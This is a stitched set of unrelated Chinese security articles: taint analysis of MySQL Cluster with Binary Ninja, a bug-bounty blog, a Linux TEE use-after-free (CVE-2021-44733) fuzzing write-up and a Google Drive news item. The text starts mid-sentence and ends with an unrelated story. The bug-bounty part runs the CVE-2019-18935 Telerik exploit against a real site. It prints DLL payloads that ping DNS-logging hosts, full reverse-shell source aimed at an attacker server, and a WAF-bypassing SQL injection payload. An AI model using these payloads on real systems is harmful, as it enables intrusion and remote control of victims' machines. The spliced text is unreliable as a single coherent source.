的預期最小大小。如果我們要搜索的代碼太小，就會增加誤報的數量。 結論我們探索了一種使用鉤子和內存保護機制檢測堆噴射攻擊的方法。在我們的項目中，這種方法在測試和堆噴射檢測過程中顯示出出色的效果。

在上文中，我們為讀者介紹了污點源的定義等靜態污點分析方面的知識，在本文中，我們將繼續為讀者演示如何處理來自多個污染源的SSA變量的約束等技巧。 （接上文） 對來自多個污染源的SSA變量的約束在進行污染傳播時，如果有任何源變量被污染，包括PHI函數，我們就將目標變量標記為污染變量。在第二階段的過濾過程中，如果一個變量受到約束，我們會將約束應用於所有相關變量。但是，當派生變量（子變量）來自一個以上的獨立污點源（父變量），並且只有一個父變量被驗證，那麼，子變量也被認為被驗證過了。但這種做法是不可取的。考慮一下下面的例子： 假設x和y來自兩個獨立的污點源，而index是兩者之和，因此，它是一個派生變量。當x被驗證後，由於y沒有被驗證，所以，index仍然可能被污損——但是，之前的算法沒有考慮到這一點。 為了解決這個問題，我考慮將每個派生的污點變量與實際的源變量聯繫起來，稱為根變量，並維護每個根變量的def-use鏈副本。例如，變量index#3有兩個根變量：x#0和y#0變量。對於每個根變量，都利用與變量index#3相關的污點信息來維護一份可達塊的副本。當x#1變量被驗證時，只有變量index#3的副本x#0被標記為不可達，而副本y#0仍被視為污染變量。我們可以通過變量的依賴圖來表示這些關係。 使用依賴圖確定SSA變量之間的關係在變量依賴關係圖中，函數中的任何污點變量都被表示為一個節點。當一個變量來自另一個變量時，就形成了一條從父變量（節點）到子變量（節點）的有向邊。 為了建立變量之間的關係，使用get_ssa_var_definition()訪問所有污點變量的定義位置（definition site）。當MLIL表達式中的任何一個源變量被污染時，在圖中創建一個邊連接。由於在MLIL_LOAD_SSA操作中被污染的變量沒有父節點或傳入的邊，因此，它們就成為了根節點。 這樣的依賴關係圖通常存在許多弱連接的組件，因為加載自受污染的內存區的每一段內存都將被分配給一個新的變量，對應於圖中一個新節點。簡單地說，每個內存加載都會和它的派生變量一起創建一個子圖。當變量派生自多個根節點時，相應的子圖可能會與另一個子圖連接。下面是一個來自函數Dbtux:execTUX_ADD_ATTRREQ()的示例依賴關係圖： 另一個需要注意的屬性是，依賴關係圖不一定是有向無環圖（DAG）。這是因為循環可能是通過PHI函數中變量的循環依賴關係引入的。請考慮以下循環操作的SSA表示形式： 此處，counter#2的值取決於counter#1或counter#4，這是一個PHI函數，前置塊決定函數的結果。在循環的下方，counter#4依賴於counter#2。這種關係將在依賴關係圖中表示為一個循環。 生成依賴關係圖後，很容易獲得與任何受污染變量關聯的根變量。此外，還可以獲取任何給定變量的子變量和父變量來處理傳遞關係。現在唯一缺少的部分是沒有表示出受污染的信息是如何向前傳播到其他函數的。 靜態函數鉤子與過程間污點傳播一旦完成對當前函數的分析，所有帶有污染參數的MLIL_CALL_SSA和MLIL_TAILCALL_SSA指令都將被處理。對於具有已知目的地（例如，MLIL_CONST_PTR)的任何調用指令，都會提取符號以檢查靜態鉤子，具體見下面的示例代碼： forexpr,callee_varsinself.callee.items(): ifexpr.dest.operation==MediumLevelILOperation.MLIL_CONST_PTR: symbol=self.bv.get_symbol_at(expr.dest.constant) forfuncinconfig.function_hooks: ifsymbolandfuncinsymbol.name: self.visit_function_hooks(expr,func,callee_vars) break else: dest=expr.dest.constant args=self.get_args_to_pass(expr,callee_vars) callee_trace=MLILTracer(self.bv,dest) callee_trace.set_function_args(args) callee_trace.trace()靜態鉤子是處理函數的程序——與其他函數相比，我們打算以不同的方式處理這些函數。對libc函數memcpy的調用來說，無需進行污染傳播，相反，我們只對檢查受污染的大小、源或目標參數感興趣。為了向分析器提供這些信息並進行相應的配置，我們將使用具有函數名稱和參數的JSON配置，具體如下所示： { 'memset':['arg0','arg1','arg2'], 'bzero':['arg0','arg1'], 'bcopy':['arg1','arg2'], 'memcpy':['arg0','arg1','arg2'], 'memmove':['arg0','arg1','arg2'], 'strncpy':['arg0','arg1','arg2'], 'strlcpy':['arg0','arg1','arg2'] }要檢查的參數從0開始索引。對於memcpy函數來說，所有3個參數都被標記為需要進行分析。與JSON配置中提供的參數索引相關的SSA變量，都需要進行污染檢驗。例如，配置文件中的arg2將映射到一個與memcpy函數的size參數相關的SSA參數變量： defget_var_for_arg(self,expr,arg): params=expr.params argno=lambda_arg:int(_arg.split('arg').pop()) ifargno(arg)len(params): param=params[argno(arg)] ifparam.operationinoperations.MLIL_GET_VARS: returnparam.vars_read[0] defvisit_function_hooks(self,expr,func,tainted_vars): args=config.function_hooks[func] forarginargs: ssa_var=self.get_var_for_arg(expr,arg) ifssa_varintainted_vars: logging.info('Potentialcontrolledargsincallto%s@0x%lx%s%s',func,expr.address,expr,self.get_stack_trace())靜態鉤子也可用於標記要被污染和進一步傳播的函數的輸出變量或返回值。但是，由於未考慮特定於函數的相關細節，因此，目前尚未實現該功能。必要時，可以重用MLIL_SET_VAR_SSA操作的visitor處理程序，以在CALL操作期間實現反向污染傳播。對於沒有鉤子的任何其他函數，可以通過將目標函數的變量標記為已污染來傳播污染信息。 defset_function_args(self,funcargs): forarg,valueinfuncargs.items(): #BNfunction.parameter_varsisbuggy#2463 forvarinself.function.vars: ifvar.name==arg: ssa_var=SSAVariable(var,0) ifself.is_pointer(value): self.source_vars[ssa_var]=value elifself.is_tainted(value): self.tainted_vars[ssa_var]=value通過可達塊跟踪漏洞一旦污點傳播和過濾階段結束，分析的最後一個階段就是遍歷所有污點變量，並檢查潛在洩漏點（sink）的可達塊。根據已經報告的漏洞，我將查找目標定為涉及越界(OOB)內存訪問、函數調用API（如memcpy）期間的緩衝區溢出、不可信的指針輸入以及受污染的循環計數器的漏洞。本節的其餘部分將詳細介紹其他檢測策略。 OOB讀寫MySQL Cluster中的大多數漏洞都是OOB讀寫相關的內存訪問漏洞，這些是由於缺少對不可信數組索引的驗證所致。為了檢測這些漏洞，我們可以將任何MLIL_LOAD_SSA或MLIL_STORE_SSA視為洩漏點。以下是來自DBDIH:execget_latest_gci_req()的示例代碼： Signal*arg2{Registerrsi} int64_targ1{Registerrdi} Dbdih:execGET_LATEST_GCI_REQ: 0@005b4b24rax#1=zx.q([arg2#0+0x28].d@mem#0) 1@005b4b27rax_1#2=zx.q([arg1#0+(rax#12)+0x9b784].d@mem#0) 2@005b4b2e[arg2#0+0x28].d=rax_1#2.eax@mem#0-mem#1 3@005b4b32returnrax_1#2 current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.srcil:[arg1#0+(rax#12)+0x9b784].d@mem#0current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.operation current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.vars_read [ssa在這裡，rax#1是已污染的，因此，使用MLIL_LOAD_SSA的讀操作可以被認為是一個OOB讀條件。類似地，考慮一下來自Thrman:execOVERLOAD_STATUS_REP()的另一個案例： Signal*arg2{Registerrsi} void*arg1{Registerrdi} Thrman:execOVERLOAD_STATUS_REP: 0@0078415fr14#1=arg2#0 1@00784162r15#1=arg1#0 2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0) 3@00784168rcx#1=[arg2#0+0x2c].d@mem#0 4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1 current_function.get_low_level_il_at(0x78416b).mlil.ssa_formil:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1 current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.operation current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.dest.vars_read [ssa在這裡，rax#1再次受到污染，因此，使用MLIL_STORE_SSA的寫入操作可以被視為OOB寫入條件。 API緩衝區溢出靜態函數鉤子可用於檢測由於傳遞給memcpy、memmove等函數的參數缺乏驗證而導致的緩衝區溢出漏洞。有關此問題的詳細信息已經在上面的“靜態函數鉤子與過程間污染傳播”一節中進行了詳細的說明。簡單來說，只要掛鉤函數的任何我們感興趣的參數受到了污染，我們就會將其記錄為潛在漏洞。 不可信的指針解引用在某些情況下，我注意到MySQL Cluster會將不可信的輸入轉換為指針，然後進行指針解引用。為了識別這種漏洞，我們可以藉助於Binary Ninja的類型信息。 MLIL變量對像有一個Type屬性，用於返回與變量相關的Type對象。一個Type對象的類型可以用type_class屬性來訪問。這裡的模型是，污點源指向Signal結構中的一個污點內存區域，而目標變量是PointerTypeClass類型的。 Type對像還有一個confidence屬性，具體如下圖所示： current_function.get_low_level_il_at(here).mlil.ssa_form current_function.get_low_level_il_at(here).mlil.ssa_form.destcurrent_function.get_low_level_il_at(here).mlil.ssa_form.dest.var current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.type_class current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.confidence 255對於變量類型來說，confidence的最大值為255。為減少誤報，分析器僅考慮具有最大置信度的類型信息。 if(dest.var.type.type_class==TypeClass.PointerTypeClass anddest.var.type.confidence==255andexpr.src.operation==MediumLevelILOperation.MLIL_LOAD_SSA): instr=self.function_mlilssa[expr.instr_index] logging.info('Potentialuntrustedpointerload@0x%lx%s%s',expr.address,instr,self.get_stack_trace())循環中的污點控制流操作我們知道，依賴於受污染變量的某些循環終止條件會導致我們感興趣的漏洞。然而Binary Ninja的MLIL並沒有提供關於循環的信息，因此，替代方案是通過HLIL來檢測受污染的循環條件。比如，Cmvmi:execEVENT_SUBSCRIBE_REQ()中循環語句的HLIL如下所示： /*0050516b*/do /*0050516b*/uint64_trsi_7=zx.q(*(r12+(rcx_32)+0x30)) /*00505170*/if(rsi_7u0x10]=rsi_7.b /*00505184*/rdx_5=*(r12+0x2c) /*00505160*/rcx_3=rcx_3+1 /*00505160*/while(rcx_3uzx.q(rdx_5))這裡的問題是，我們已經使用MLIL實現了整個污點傳播，而Binary Ninja卻無法提供MLIL和HLIL之間的映射。因此，即使可以檢測到循環，也需要知道受污染的MLIL變量是否映射到循環條件中使用的HLIL變量。 不過，倒是存在一個變通方法，即HLIL指令具有一個條件屬性，該屬性可以用來獲取與循環關聯的條件語句，而這個條件語句的地址可以映射到相應的MLIL_IF指令。 exprHLIL_DO_WHILE:dowhile(rcx_3uzx.q(rdx_5))expr.conditionHLIL_CMP_ULT:rcx_3uzx.q(rdx_5)expr.operation hex(expr.condition.address) '0x505169' current_function.get_low_level_il_at(here).mlil.ssa_form hex(current_function.get_low_level_il_at(here).mlil.ssa_form.address) '0x505169'因此，如果任何一條MLIL_IF指令被污染，並且是HLIL循環條件的一部分，那麼分析器就會將其記錄為一個潛在的漏洞。 關於支配關係的實驗支配關係提供了關於基本塊執行順序的相關信息。如果所有通向Y的路徑都要經過X，那麼，我們就可以說基本塊X支配著另一個基本塊Y。 在所提供的圖中，節點B支配著節點C、D、E和F，因為通往這些節點的所有路徑必須經過節點B。因此，被節點B支配的全部節點集包括B、C、D、E和F節點。此外，還有一個相關的概念叫做嚴格支配方，它並不考慮可疑的節點。因此，被節點B嚴格支配的所有節點的集合包括節點C、D、E和F。 Binary Ninja的BasicBlock對象具有dominators和strict_dominators屬性，提供關於函數中支配關係的相關信息。 current_function.mlil.ssa_form.basic_blocks [ current_function.mlil.ssa_form.basic_blocks[2].dominators [ current_function.mlil.ssa_form.basic_blocks[2].strict_dominators [那麼，我們該如何利用Binary Ninja中可用的dominance屬性來處理污染約束，而不是通過networkx包中的圖可達性算法來處理這個問題呢？ 將約束映射到支配塊為了檢查一個SSA變量的def-use鏈中的所有基本塊是否可達，我們可以遵循以下步驟： 查找與該變量關聯的所有約束塊。 使用def-use鏈獲取所有引用該變量的基本塊。 對於每個基本塊，檢查它是否被約束塊嚴格支配。如果是，則該變量被認為是該基本塊的有效變量，並且被認為是不可達的。 回到同一個示例，索引在中得到驗證，而它又是的支配方。因此，通過檢查支配方的約束塊，就可以確定可達性

最近挖了一些漏洞。虽然重复了，但是有参考价值。这边给大家分享下。　　漏洞重复还是很难受的，转念一想，人生从不是事事如人意的，漏洞重复忽略，不代表失败。先来后到很重要，出场顺序很重要。 　　1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我 　　测试域名:https://***.***:8089/ 　　同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞 　　漏洞利用exp下载地址: 　　https://github.com/noperator/CVE-2019-18935 　　https://github.com/noperator/CVE-2019-18935.git 　　延迟11s:sleep 11s: 　　测试代码: test.c 　　 #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) //Sleep(10000); // Time interval in milliseconds. Sleep(11000); return TRUE; } test.c编译成amd642.dll文件 运行: python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau 　　 第一步验证成功，成功延迟11s左右，原始请求2s 　　测试命令执行: 　　 #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) system("cmd.exe /c nslookup rsmwe.dnslog.cn"); system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net"); return TRUE; } test.c编译成amd642.dll文件 再次运行查看dnslog: 　 直接反弹shell，通用exp: #include <winsock2.h> #include <stdio.h> #include <windows.h> #pragma comment(lib, "ws2_32") #define HOST "{vps ip}" #define PORT {port} WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char aip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; // Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c void ReverseShell() { WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host = gethostbyname(HOST); strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(PORT); hax.sin_addr.s_addr = inet_addr(aip_addr); WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); if (WSAGetLastError() == 0) { memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; char *myArray[4] = { "cm", "d.e", "x", "e" }; char command[8] = ""; snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]); CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); } } DWORD WINAPI MainThread(LPVOID lpParam) { ReverseShell(); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { HANDLE hThread; if (fdwReason == DLL_PROCESS_ATTACH) hThread = CreateThread(0, 0, MainThread, 0, 0, 0); return TRUE; } 权限不低，是域用户: 　　2.sql注入: 　　　背景介绍:朋友发来一个注入，这个注入还挺棘手的，有xx云的waf，并且后端过滤了逗号，单双引号以及常规函数等。　　 　　我的思路很简单，十六进制。regexp函数即可，我觉得应该还有别的思路 (case+when+current_user+regexp+0x*+then+1+else+2*1e308+end)　　这样就把数据库user搞出来了。 　　这里我想说下case when这个语句，case when语句比我们想象的要灵活的多，这里做下笔记说下: 　　最常见的: 　　 　　说点不常见的，我写两个demo，可以一直套娃下去: case 1=1 when 2=2 then 1=1 else 1/0 end 　　 　　 　3.url跳转+身份认证token泄漏: 　　我昨天晚上挖的，忽略理由是重复。有时候对某些厂商还挺无语的，漏洞在那边，不修复。让我有种错觉，发现漏洞，有种踩到蜜罐的错觉。 　　资产范围是:vc-*.xxx.com 　　其实遇到这种范围，我还挺开心的，因为我可以Fuzz下，简单Fuzz了下，发现不少资产。 　　挨个打开看，访问:vc-ss.xxx.com，访问站点，直接跳转要求登录。 　　我不是神仙，我也没账号，我看着js，没发现可访问的路径信息。 　　开始fuzz，知道是php就很好办了。使用ffuf跑php/api字典，跑到了一个接口开发文档/api/***.html 　　接口开发文档设计本意是好的，但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文，但是很不幸的是测试了下，发现几乎所有的接口，直接访问都是401，需要身份认证。些许无奈了，想放弃的时候，总是告诉自己，坚持看完看仔细。继续盯着接口文档一直翻来翻去，发现了一个身份token泄漏和其他一些安全漏洞。 　　整理漏洞提交了，早上就收到了重复的消息: 　　 原文链接： https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

最近在Linux 內核TEE 子系統中發現了一個釋放後重引用（UAF）漏洞，影響版本小於等於5.15.11，分配了CVE編號CVE-2021-44733。 簡單的UAF無法進一步利用，在對漏洞代碼路徑做了進一步分析，簡單寫了個PoC測試後發現是可以覆蓋Linux內核中的函數指針的，本文沒有提供權限提升的漏洞利用代碼，但是在環境設置部分提供了運行OPTTE和漏洞利用的測試環境。 0x01 背景信息TEE是Trusted Execution Environment,也就是可信執行環境，通常用於數字版權保護（Digital Rights Management）、移動支付保護、敏感數據保護。 TEE的實現是基於ARM TrustZone。 需要介紹的另一個概念是REE，也就是Rich Execution Environment，被稱為通用執行環境，這是所有移動設備的通用運行環境，運行Android、iOS 系統。 OS的代碼量龐雜很容易出現漏洞，OS可以讀寫APP軟件中的所有數據，存在大量針對REE的高級攻擊技術和漏洞利用代碼。 TEE受硬件機制的保護，TEE隔離於REE，只能通過特定入口和TEE進行通信；TEE可以訪問REE的內存，可以抵禦某些硬件攻擊。 TEE實質上是一個可信子操作系統，比如最常見的ARM CPU上的TrustZone，運行在CPU芯片中的子OS，TEE驅動程序會處理TEE OS和上層操作之間的通信。 TEE 子系統會對TEE驅動程序進行註冊初始化、會管理Linux 和TEE的共享內存、會為TEE提供通用API。 驅動程序註冊初始化步驟： 1.根據設備類型，構造所需描述驅動的結構體。該結構體需要繼承structdevice_driver結構，並給幾個重要的成員初始化。 2.通過module_init宏調用驅動程序的初始化函數xx_init_module，在初始化函數中註冊驅動程序。 3.驅動程序會遍歷總線上的structdevice和structdevice_driver兩條鍊錶，調用總線的match函數，對設備與驅動程序進行匹配。 4.如果設備與驅動程序匹配成功，則調用驅動程序的probe函數。 什麼是註冊驅動程序： 初始化函數中調用的xx_register_driver函數就是註冊驅動程序，初始化函數執行其實非常簡單，執行一下xx_register_driver函數就會返回，這也是Linux驅動程序的標準註冊流程：module_init--xx_init_module--xx_register_driver。 TEE接口include/uapi/linux/tee.h中的結構體和宏定義提供了TEE的通用使用接口，用戶空間和客戶端可通過打開/dev/tee[0-9] 或/dev/teepriv[0-9] 連接TEE驅動程序。 下面是在include/uapi/linux/tee.h中定義的結構體接口： TEE_IOC_SHM_ALLOC 分配共享內存並返回用戶空間可以映射的文件描述符。當用戶空間不再需要文件描述符時，它應該被關閉。當不再需要共享內存時，應該使用munmap() 取消映射以允許重用內存。 TEE_IOC_VERSION 讓用戶空間知道此驅動程序處理哪個TEE 及其功能。 TEE_IOC_OPEN_SESSION 打開一個到可信應用程序的新會話。 TEE_IOC_INVOKE 調用可信應用程序中的函數。 TEE_IOC_CANCEL 可以取消正在進行的TEE_IOC_OPEN_SESSION 或TEE_IOC_INVOKE。 TEE_IOC_CLOSE_SESSION 關閉與可信應用程序的會話。 mmap會將一個文件和其他對象映射到內存空間中。文件被映射到多個頁上，如果文件的大小不是所有頁的大小之和，最後一個頁不被使用的空間將會清零。 munmap執行相反的操作，刪除特定地址區域的對象映射。 TEE有兩種客戶端：普通客戶端和請求者客戶端，請求者客戶端是TEE在Linux OS中的輔助進程，用於訪問資源，比如文件系統訪問等。普通客戶端會打開/dev/tee[0-9]*，請求者kehu客戶端會打開/dev/teepriv[0-9]。 /dev/目錄下是Linux的外部設備文件，注意不是驅動文件，Linux會將所有設備認為是文件。客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是接收來自客戶端的請求，將它們轉發到TEE 並將結果發回。在請求方的情況下，通信在另一個方向進行，TEE 向請求方發送請求，然後請求方將結果發回。 TEE是在安全環境中運行的可信操作系統，例如ARM CPU 上的TrustZone。 TEE 驅動程序會處理與TEE 通信所需的細節，驅動程序更重要的職責是為基於Globalplatform TEE 客戶端API 規範的TEE 提供通用API，而且還管理Linux 和TEE 之間的共享內存。該子系統可以通過CONFIG_OPTEE在ARM 架構的內核配置中進行配置來啟用。 The secure world包含表示為OP-TEE OS 的可信操作系統。在此操作系統之上，可以運行受信任應用程序(TA)，這些應用程序可以在隔離環境中執行某些操作，參見圖1。 圖1：TEE 概述 The normal world 包括Linux 用戶空間和內核空間，可以使用客戶端應用程序(CA) 和TEE 子系統公開的API 與這些應用程序交互。 CA 可以向特定TA 打開會話並調用TA 實現的功能。在TA 和CA 之間來回傳遞任何參數都是使用共享內存完成的。接下來描述使用所有相關係統調用的CA 和TA 之間的交互。 1、CA 打開/dev/tee[0-9]以與驅動程序通信。對於使用這些API 的傳統方式，這是使用libteec 隱式完成的。 2、CA 可以使用IOCTL TEE_IOC_SHM_ALLOC。這將分配共享內存並返回一個文件描述符，用戶空間可以將其用作mmap 的一部分。 3、下一步是使用IOCTL TEE_IOC_OPEN_SESSION和指定特定TA 的uuid建立會話。這個uuid 在TA 的編譯過程中是硬編碼的。 4、為了調用TA 中的特定函數，CA 通過指定函數的標識符以及輸入參數來調用該函數，這裡使用的是TEE_IOC_INVOKE。 5、當CA 完成所有請求後，可以使用TEE_IOC_CLOSE_SESSION關閉會話。 圖2：CA 和TA 之間的會話 客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是管理上下文、接收來自客戶端的請求、將它們轉發到TEE 並將結果發回。 0x02 對TEE 驅動器的模糊測試CVE-2021-44733 是使用syzkaller 模糊測試發現的，下面提供了相關的描述文件。 ioctl$TEE_SHM_REGISTER_FD只是Linaro內核樹的一部分，根據syzkaller 文檔正確配置後，“Setting up the environment”中提供的環境就可以用於模糊測試了。 #include resourcefd_tee0[fd] resourcesession_resource[int32] openat$tee0(fdconst[AT_FDCWD],devptr[in,string['/dev/tee0']],flagsflags[open_flags],modeflags[open_mode])fd_tee0 ioctl$TEE_OPEN_SESSION(fdfd_tee0,cmdconst[0x8010a402],argptr[inout,tee_ioctl_buf_data_session]) ioctl$TEE_INVOKE(fdfd_tee0,cmdconst[0x8010a403],argptr[inout,tee_ioctl_buf_data_invoke]) ioctl$TEE_CANCEL(fdfd_tee0,cmdconst[0x8008a404],argptr[in,tee_ioctl_buf_data_cancel]) ioctl$TEE_CLOSE_SESSION(fdfd_tee0,cmdconst[0x8004a405],argptr[in,tee_ioctl_buf_data_close]) ioctl$TEE_VERSION(fdfd_tee0,cmdconst[0x800ca400],argptr[out,tee_ioctl_buf_data_version]) ioctl$TEE_SHM_ALLOC(fdfd_tee0,cmdconst[0xc010a401],argptr[inout,tee_ioctl_buf_data_shm_alloc]) ioctl$TEE_SHM_REGISTER(fdfd_tee0,cmdconst[0xc018a409],argptr[inout,tee_ioctl_buf_data_shm_register]) ioctl$TEE_SHM_REGISTER_FD(fdfd_tee0,cmdconst[0xc018a408],argptr[inout,tee_ioctl_buf_data_shm_register_fd]) ioctl$TEE_SUPPL_RECV(fdfd_tee0,cmdconst[0x8010a406],argptr[inout,tee_ioctl_buf_suppl_recv]) ioctl$TEE_SUPPL_SEND(fdfd_tee0,cmdconst[0x8010a407],argptr[inout,tee_ioctl_buf_suppl_send]) #COMMON #======================================================= defineTEE_IOCTL_UUID_LEN16 tee_ioctl_param_struct{ attrflags[TEE_IOCTL_PARAM_ATTR_TYPE,int64] aint64 bint64 cint64 } TEE_IOCTL_PARAM_ATTR_TYPE=0,1,2,3,5,6,7 TEE_LOGIN=0,1,2,4,5,6 #OPENSESSION #======================================================= tee_ioctl_buf_data_session{ buf_ptrptr64[inout,tee_ioctl_open_session_struct] buf_lenlen[buf_ptr,int64] } tee_ioctl_open_session_struct{ uuidarray[int8,TEE_IOCTL_UUID_LEN](in) clnt_uuidarray[int8,TEE_IOCTL_UUID_LEN](in) clnt_loginflags[TEE_LOGIN,int32](in) cancel_idint32(in) sessionsession_resource(out) retint32(out) ret_originint32(out) num_paramslen[params,int32](in) paramsarray[tee_ioctl_param_struct](in) } #INVOKE #======================================================= tee_ioctl_buf_data_invoke{ buf_ptrptr64[inout,tee_ioctl_invoke_struct] buf_lenlen[buf_ptr,int64] } tee_ioctl_invoke_struct{ funcint32(in) sessionsession_resource(in) cancel_idint32(in) retint32(out) ret_originint32(out) num_paramslen[params,int32](in) paramsarray[tee_ioctl_param_struct](in) } #CANCELSESSION #======================================================= tee_ioctl_buf_data_cancel{ cancel_idint32(in) sessionsession_resource(in) } #CLOSESESSION #======================================================= tee_ioctl_buf_data_close{ sessionsession_resource(in) } #VERSION #======================================================= tee_ioctl_buf_data_version{ impl_idint32(out) impl_capsint32(out) gen_capsint32(out) } #SHMALLOC #======================================================= tee_ioctl_buf_data_shm_alloc{ sizeint64(inout) flagsconst[0,int32](inout) idint32(out) } #SHMREGISTER #======================================================= tee_ioctl_buf_data_shm_register{ addrint64(in) lengthint64(inout) flagsconst[0,int32](inout) idint32(out) } #SHMREGISTERFD #======================================================= tee_ioctl_buf_data_shm_register_fd{ fdint64(in) sizeint64(out) flagsconst[0,int32](in) idint32(out) }[align[8]] #SUPPLICANTRECV #======================================================= tee_ioctl_buf_suppl_recv{ funcint32(in) num_paramslen[params,int32](inout) paramsarray[tee_ioctl_param_struct](inout) } #SUPPLICANTSEND #======================================================= tee_ioctl_buf_suppl_send{ retint32(out) num_paramslen[params,int32](in) paramsarray[tee_ioctl_param_struct](in) }模糊測試中的崩潰是由於持有互斥對象時task _ struct 的use-after-free 漏洞： ================================================================== BUG:KASAN:use-after-freein__mutex_lock.constprop.0+0x118c/0x11c4 Readofsize4ataddr863b0714bytaskoptee_example_r/244 CPU:0PID:244Comm:optee_example_rTainted:GD5.14.0#151 Hardwarename:GenericDTbasedsystem [](unwind_backtrace)from[](show_stack+0x20/0x24) [](show_stack)from[](dump_stack_lvl+0x5c/0x68) [](dump_stack_lvl)from[](print_address_description.constprop.0+0x38/0x304) [](print_address_description.constprop.0)from[](kasan_report+0x1c0/0x1dc) [](kasan_report)from[](__mutex_lock.constprop.0+0x118c/0x11c4) [](__mutex_lock.constprop.0)from[](mutex_lock+0x128/0x13c) [](mutex_lock)from[](tee_shm_release+0x4b0/0x6cc) [](tee_shm_release)from[](dma_buf_release+0x1b8/0x2f0) [](dma_buf_release)from[](__dentry_kill+0x4c4/0x678) [](__dentry_kill)from[](dput+0x630/0xba4) [](dput)from[](__fput+0x3b4/0x900) [](__fput)from[](task_work_run+0x15c/0x230) [](task_work_run)from[](do_exit+0x103c/0x3770) [](do_exit)from[](do_group_exit+0x134/0x3ac) [](do_group_exit)from[](get_signal+0x7d8/0x2f28) [](get_signal)from[](do_work_pending+0x984/0x154c) [](do_work_pending)from[](slow_work_pending+0xc/0x20) Exceptionstack(0x85743fb0to0x85743ff8) 3fa0:00023108000000800000000000000000 3fc0:66bca2d066bca2d066bca2d0000000f066bca2d066bca340000000006ec00b0c 3fe0:66bc9cc866bc9cb80001165566c80c20000e013000023108 Allocatedbytask242: set_alloc_info+0x48/0x50 __kasan_slab_alloc+0x48/0x58 kmem_cache_alloc+0x14c/0x314 copy_process+0x2014/0x7b18 kernel_clone+0x244/0xfc8 sys_clone+0xc8/0xec ret_fast_syscall+0x0/0x58 0x6ec00a10 Freedbytask67: kasan_set_track+0x28/0x30 kasan_set_free_info+0x20

Google Drive將macOS 文件系統生成的'.DS_Store'文件標記為侵權。 '.DS_Store' 文件是蘋果用戶將壓縮文件或文件夾從macOS 系統轉移到非蘋果操作系統後伴隨生成的元數據文件，比如Windows 系統。近日，有用戶報告稱Google Drive將其保存的'.DS_Store'文件標記為違反谷歌的版權保護策略。上個月也有用戶有類似的體驗。 谷歌Drive將'.DS_Store' 文件標記為侵權谷歌Drive將'.DS_Store' 文件標記為侵權 蘋果用戶在從macOS 設備複製ZIP文件和文件到Windows等非macOS 操作系統時經常會看到一個'.DS_Store' 文件。該文件是由macOS Finder應用自動生成的，用來存儲定制屬性和元數據，比如圖標信息和背景圖片位置。相關信息可以幫助用戶根據用戶首選項來渲染佈局。 在macOS 系統中，DS_Store文件在Finder應用中是隱藏的。該文件與Windows系統中隱藏的desktop.ini 和thumbs.db文件類似。 當用戶上傳壓縮文件和文件夾到Google Drive等第三方雲服務時，存儲服務提供商的文件管理器可能會顯示'.DS_Store'、'desktop.ini'和其他類似文件。 谷歌稱這是個例目前還不清楚引發這一行為的原因，BleepingComputer測試發現無法復現該問題。 一個可能的原因是谷歌根據校驗和來追踪版權內容，由於版權文件和該文件存在哈希碰撞使得觸發了報警。 上個月，就有Google Drive用戶稱其文件被錯誤地標記為違反了版權保護策略，而該文本文件中只含有0、 1、173、174、186這樣的數字。 1月份，幾乎為空的文件被Google Drive錯誤標記 由於校驗和哈希碰撞引髮用戶錯誤地版權保護標記的理論可以解釋部分用戶出現的這一問題。但是該理論目前還沒有經過證明。 谷歌發言人上個月解釋稱，1月發生的問題只影響一小部分Drive文件和用戶，而且谷歌已經糾正了所有被錯誤標記為版權侵權的文件，並採取了相應措施來預防這一問題的再次發生。

